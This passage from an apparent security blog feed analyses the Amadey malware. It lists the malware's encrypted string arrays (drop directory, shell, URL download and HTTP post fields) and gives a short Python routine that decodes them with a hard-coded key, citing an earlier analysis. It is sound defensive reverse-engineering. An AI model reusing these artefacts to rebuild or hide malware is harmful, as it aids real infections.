0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92] AV03=[0x7D, 0xB8, 0xA7, 0xB8] AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD] AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B] AV06=[0x79, 0xBB, 0xA9] AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2] AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5] AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7] AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC] AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8] CMD0=[0x74, 0xC8, 0xA0] CMD1=[0x74, 0xC9, 0xA0] DLL=[0x9C, 0xD1, 0xCE] DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D] DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98] exe=[0x9D, 0xDD, 0xC7] GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE] OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE] OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F] Param0=[0xA1, 0xC9, 0x9F] Param1=[0x5E, 0xDB, 0xD5, 0xA1] Param2=[0x5E, 0xC6, 0xD4, 0xA1] Param3=[0x5E, 0xC7, 0xCB, 0xA1] Param4=[0x5E, 0xD1, 0xD8, 0xA1] Param5=[0x5E, 0xD4, 0xD5, 0xA1] Param6=[0x5E, 0xC6, 0xD8, 0xA1] Param7=[0x5E, 0xD5, 0xC5, 0xA1] Param8=[0x5E, 0xDA, 0xD0, 0xA1] Post0=[0x45, 0x6F] Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67] Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D] Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C] Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59] Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59] Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68] RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6] RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50] Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0] Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F] TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44] URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7] URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77] Vers=[0x69, 0x93, 0x94, 0x96] ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB] ''' encoded_str=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D] Key="8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7" c=0 while(1): length = len(encoded_str) if length &lt;= c: break length = len(Key); print(chr(encoded_str[c] - ord(Key[c % length])), end='') #print(encoded_str[c] - ord(Key[c % length]), end='') c += 1 References https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/]]></summary></entry></feed>